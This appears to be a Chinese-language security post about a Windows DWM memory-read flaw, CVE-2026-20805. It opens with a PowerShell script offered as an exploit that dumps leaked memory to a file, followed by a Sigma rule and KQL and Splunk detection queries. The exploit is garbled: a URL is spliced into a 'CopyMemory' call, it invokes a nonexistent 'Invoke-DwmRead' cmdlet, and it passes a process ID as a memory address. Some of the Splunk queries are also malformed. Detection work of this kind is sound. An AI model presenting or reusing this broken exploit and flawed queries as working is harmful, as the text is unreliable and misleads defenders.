# Windows 10.0.19041 – DWM 缓冲区读取漏洞利用
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000   # 指向相邻 GPU 内存的构造偏移量
$targetWindow = 0x00030001    # 目标窗口索引

# 在内核空间创建临时缓冲区
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/main/:CopyMemory(
    $processHandle, 
    $bufferOffset, 
    $kernelBuffer, 
    0x1000)

# 将内核缓冲区复制到 DWM 的合成例程中
Invoke-DwmRead -ProcessId $processHandle `
                -WindowIndex $targetWindow `
                -SrcAddress $bufferOffset `
                -Size 0x1000

# 将暴露的数据转储到本地文件以供分析
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)

title: DWM GPU 内存读取异常
id: dwm-gpu-memory-read-anomaly
status: experimental
description: 检测可能表明利用 CVE-2026-20805 的异常 DWM 缓冲区读取。
author: Mark
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 0x2B
    ProcessName: dwm.exe
    SrcAddress: 0x00120000
    Size: 0x1000
  condition: selection
falsepositives:
  - 高 GPU 渲染工作负载
level: medium
tags:
  - attack.defense-evasion

SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5

Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"

Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50

let handles = SecurityEvent
    | where EventID == 4656 and ObjectName has "dwm.exe"
    | project TimeGenerated, Account, Computer;

let gpu = Event
    | where EventID == 0x2B
    | project TimeGenerated, Computer;

handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)

index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5

index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User

index=windows EventCode=43
| timechart span=1m count
| where count > 50

handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;

gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;

handles
| join key gpu
| table Computer, handles._time, gpu._time